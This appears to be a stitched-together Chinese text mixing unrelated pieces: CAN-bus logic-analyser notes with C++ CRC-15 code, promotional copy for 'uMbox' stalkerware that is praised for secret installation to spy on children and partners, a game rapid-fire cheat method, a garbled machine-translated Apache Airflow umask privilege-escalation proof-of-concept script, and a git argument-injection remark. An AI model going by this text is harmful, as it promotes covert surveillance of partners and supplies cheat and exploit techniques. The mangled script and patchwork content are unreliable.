波形实例

本实例使用 Kingst LA5016 usb 逻辑分析仪检测CAN数据通讯。下图2是一个完整的数据包分析截图。从图中可以看到，LA5016的CAN解析模块，将协议数据分析为 ID（协议id号），RTR（远程帧/数据帧标识）, DLC（数据长度），Data（传输数据）， CRC， ACK/NAK 。

图1数据包的ID号为0x002， RTR：false（数据帧）， DLC:0x8（8个数据），Data：数据，CRC为0x3845（15位）， ACK：应答。

圆形白点：逻辑数据。

方形白点：填充位。

代码语言：javascript
//算法1

U16 Can_FD_Analyzer::ComputeCrc15(std::vector<BitState> &bits, U32 num_bits)
{

//X15 + X14 + X10 + X8 + X7 + X4 + X3 + X0.
U16 crc_result = 0;
for (U32 i = 0; i < num_bits; i++) {

BitState next_bit = bits[i];

//Exclusive or
if ((crc_result & 0x4000) != 0) {

next_bit = Invert(next_bit); //if the msb of crc_result is zero, then next_bit is not inverted; otherwise, it is.
}
crc_result <<= 1;

if (next_bit == mSettings->Recessive()) {
//normally bit high.
crc_result ^= 0x4599;
}
}

return crc_result & 0x7FFF;
}

//算法2
U16 Can_FD_Analyzer::MakeCRC15(std::vector<BitState> &bits, U32 num_bits)
{

//X15 + X14 + X10 + X8 + X7 + X4 + X3 + X0.
U16 CRC[15] = {
0 };
for (U32 i = 0; i < num_bits; i++) {

U32 DoInvert = (bits[i] == mSettings->Recessive()) ^ CRC[14]; //XOR required?
CRC[14] = (CRC[13] ^ DoInvert); //14
CRC[13] = CRC[12];
CRC[12] = CRC[11];
CRC[11] = CRC[10];
CRC[10] = (CRC[9] ^ DoInvert); //10
CRC[9] = CRC[8];
CRC[8] = (CRC[7] ^ DoInvert); //8
CRC[7] = (CRC[6] ^ DoInvert); //7
CRC[6] = CRC[5];
CRC[5] = CRC[4];
CRC[4] = (CRC[3] ^ DoInvert); //4
CRC[3] = (CRC[2] ^ DoInvert); //3
CRC[2] = CRC[1];
CRC[1] = CRC[0];
CRC[0] = DoInvert;
}

U16 result = 0; // CRC Result
for (U32 i = 0; i < 15; i++) {

result = result | (CRC[i] << i);
}
return (U16)result;
}

uMbox
在我的研究过程中， 是一款出色的家长跟踪工具 Android 手机和平板电脑。我可以在我的目标人不知情的情况下安装它，因为它在后台运行，几分钟内就可以安装完成。这可以帮助父母和配偶秘密地跟踪他们的孩子和伴侣的活动

特色：
短信监控： 您可以阅读所有短信，包括已删除的短信，以跟踪所有通信。我还可以查看发件人的详细信息，例如他们的全名和消息的发送时间。

通话记录访问： 我可以查看通话记录，包括时间戳和通话时长，以查看详细的通话信息。它还向我显示了记录中删除的通话以及呼叫者的身份。

实时 GPS 跟踪： 帮助我查看此人的实时 GPS 位置，这对于精确的位置跟踪非常有用。

社交媒体监控： 您可以查看 Facebook、Instagram、WhatsApp、Kik 等平台上的所有活动和聊天，实现全面的聊天监控。

媒体访问： 我能够访问所有照片和视频来监控目标设备上的共享媒体。

SIM 卡警报： 当有人更改 SIM 卡时，您会收到警报，确保您随时了解任何更改。

联系查看： 我可以查看目标人员的设备和社交媒体上的所有联系人。它还会在我的仪表板上显示最常发消息的人和来电者

正常游戏逻辑中，点击一次鼠标会触发一发子弹的射击。而在操作系统层面上，每点击一次鼠标游戏就会发送一次鼠标点击的消息，如果在游戏允许的时间范围内增加鼠标点击消息的发送，那么就可以实现武器的子弹加速，这种效果在霰弹枪上面即为明显，可以实现单发射击的霰弹枪变成连续射击，武器致死率大大提升

Apache Airflow 2.3.4 之前的版本中有多个组件的守护进程 umask 不安全，为 0，导致关键文件和目录可以被所有人写入。因此，任何本地用户都可以推断 Airflow 处理特制的输入，并最终对执行 Airflow 的用户执行特权升级。特别是调度程序组件很容易被利用。

概念验证
以下攻击针对 Apache Airflow 的演示安装（airflow scheduler使用该标志运行时--daemon）：

/bin/bash #!/bin/bash
目标=/home/airflow
umask 0
cd $TARGET/logs/scheduler/latest/native_dags/example_dags
rm example_bash_operator.py.log
ln -s $TARGET/dags/poc.py example_bash_operator.py.log
直到[ -f $TARGET/dags/poc.py ]
做
睡眠 1
完毕
rm example_bash_operator.py.log
（cat<<'EOF'
导入操作系统
os.system("id >>/tmp/pwned")
从气流导入 DAG
末梢血
）> $TARGET/dags/poc.py

当 Airflow 调度程序重新启动时，会触发注入的 DAG 有效负载（代码执行）。这个简单的 PoC 可执行完整的任意代码执行，但也存在通过自定义 DAG 获得控制权的其他方法。


影响
权限提升：丧失机密性、完整性和可用性

参数注入代码执行
官方披露的漏洞效果是仅在有只读权限情况下可以进行命令执行，通过枚举应用所有只读权限情况下可以构造的 git 指令，找到一处进行参数注入，构造恶意 url 访问即可造成任意命令执行。